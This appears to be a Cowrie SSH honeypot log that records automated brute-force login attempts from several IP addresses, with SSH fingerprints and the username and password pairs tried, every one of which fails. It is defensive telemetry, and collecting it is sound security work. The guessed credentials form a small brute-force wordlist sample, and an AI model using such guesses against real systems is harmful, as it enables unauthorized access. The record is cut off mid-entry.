{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:18.690487Z","src_ip":"45.156.87.253","session":"6a384456ddd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:18.773970Z","src_ip":"45.156.87.253","session":"6a384456ddd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:19.017025Z","src_ip":"45.156.87.253","session":"6a384456ddd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:20.233955Z","src_ip":"45.156.87.253","session":"6a384456ddd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47822,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0d244d28d5","protocol":"ssh","message":"New connection: 45.156.87.253:47822 (10.17.0.5:22) [session: ab0d244d28d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:21.984792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:21.988869Z","src_ip":"45.156.87.253","session":"ab0d244d28d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:22.069686Z","src_ip":"45.156.87.253","session":"ab0d244d28d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:22.312875Z","src_ip":"45.156.87.253","session":"ab0d244d28d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:23.396041Z","src_ip":"45.156.87.253","session":"ab0d244d28d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43d816855fe","protocol":"ssh","message":"New connection: 45.156.87.253:47832 (10.17.0.5:22) [session: b43d816855fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.368953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.372355Z","src_ip":"45.156.87.253","session":"b43d816855fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.454927Z","src_ip":"45.156.87.253","session":"b43d816855fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.700881Z","src_ip":"45.156.87.253","session":"b43d816855fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":46132,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f777e301d0f","protocol":"ssh","message":"New connection: 154.16.115.34:46132 (10.17.0.5:22) [session: 4f777e301d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.802227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.806506Z","src_ip":"154.16.115.34","session":"4f777e301d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.835223Z","src_ip":"154.16.115.34","session":"4f777e301d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol2024","message":"login attempt [sol/sol2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:25.911078Z","src_ip":"154.16.115.34","session":"4f777e301d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:26.784371Z","src_ip":"45.156.87.253","session":"b43d816855fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:26.938603Z","src_ip":"154.16.115.34","session":"4f777e301d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"85354c3424d5","protocol":"ssh","message":"New connection: 45.156.87.253:47838 (10.17.0.5:22) [session: 85354c3424d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:28.728809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:28.732920Z","src_ip":"45.156.87.253","session":"85354c3424d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:28.813572Z","src_ip":"45.156.87.253","session":"85354c3424d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:29.063639Z","src_ip":"45.156.87.253","session":"85354c3424d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59716,"dst_ip":"10.17.0.5","dst_port":22,"session":"588ea5f9fd02","protocol":"ssh","message":"New connection: 103.15.222.183:59716 (10.17.0.5:22) [session: 588ea5f9fd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:30.172289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:30.175853Z","src_ip":"103.15.222.183","session":"588ea5f9fd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:30.188475Z","src_ip":"45.156.87.253","session":"85354c3424d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:30.404957Z","src_ip":"103.15.222.183","session":"588ea5f9fd02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"041187","message":"login attempt [root/041187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:31.092270Z","src_ip":"103.15.222.183","session":"588ea5f9fd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40078,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f426509ad3","protocol":"ssh","message":"New connection: 45.156.87.253:40078 (10.17.0.5:22) [session: 07f426509ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:32.025454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:32.028862Z","src_ip":"45.156.87.253","session":"07f426509ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:32.110200Z","src_ip":"45.156.87.253","session":"07f426509ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:32.323416Z","src_ip":"103.15.222.183","session":"588ea5f9fd02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:32.494246Z","src_ip":"45.156.87.253","session":"07f426509ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:33.577623Z","src_ip":"45.156.87.253","session":"07f426509ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40084,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba03caa70a8","protocol":"ssh","message":"New connection: 45.156.87.253:40084 (10.17.0.5:22) [session: 3ba03caa70a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:35.495357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:35.498844Z","src_ip":"45.156.87.253","session":"3ba03caa70a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:35.579884Z","src_ip":"45.156.87.253","session":"3ba03caa70a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:35.824789Z","src_ip":"45.156.87.253","session":"3ba03caa70a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:36.908434Z","src_ip":"45.156.87.253","session":"3ba03caa70a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40090,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a5f8171d56","protocol":"ssh","message":"New connection: 45.156.87.253:40090 (10.17.0.5:22) [session: d3a5f8171d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:38.779839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:38.783230Z","src_ip":"45.156.87.253","session":"d3a5f8171d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr